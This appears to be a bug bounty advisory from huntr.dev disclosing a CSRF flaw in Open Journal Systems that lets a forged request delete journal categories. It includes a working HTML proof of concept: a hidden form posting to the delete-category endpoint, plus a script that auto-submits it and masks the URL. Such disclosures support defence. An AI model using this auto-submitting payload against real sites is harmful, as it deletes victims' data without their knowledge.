CSRF Delete Categories

2023-09-2816:14:43

hainguyen0207

www.huntr.dev

csrf attack

fake requests

delete categories

unwanted

bug bounty

7.1 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

24.3%

JSON

Description

CSRF Delete Categories

Proof of Concept

1 .Attack sends fake requests to users

  &lt;html&gt;
  &lt;body&gt;
&lt;form action="https://demo.publicknowledgeproject.org/ojs3/testdrive/index.php/testdrive- 
 journal/$$$call$$$/grid/settings/category/category-category-grid/delete-category"&gt;
 &lt;input type="hidden" name="categoryId" value="6" /&gt;
  &lt;input type="submit" value="Submit request" /&gt;
&lt;/form&gt;
&lt;script&gt;
  history.pushState('', '', '/');
    document.forms[0].submit();
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

2 .User clicks, deletes unwanted Categories

Payload Poc

https://drive.google.com/file/d/12cCzI-_b9KLCRlND6MmjM6j-DJfTJiIt/view?usp=sharing

Video Poc

https://drive.google.com/file/d/1y-cR_Stxg9hvk7kZp9HeObLPxQDXbpMW/view?usp=sharing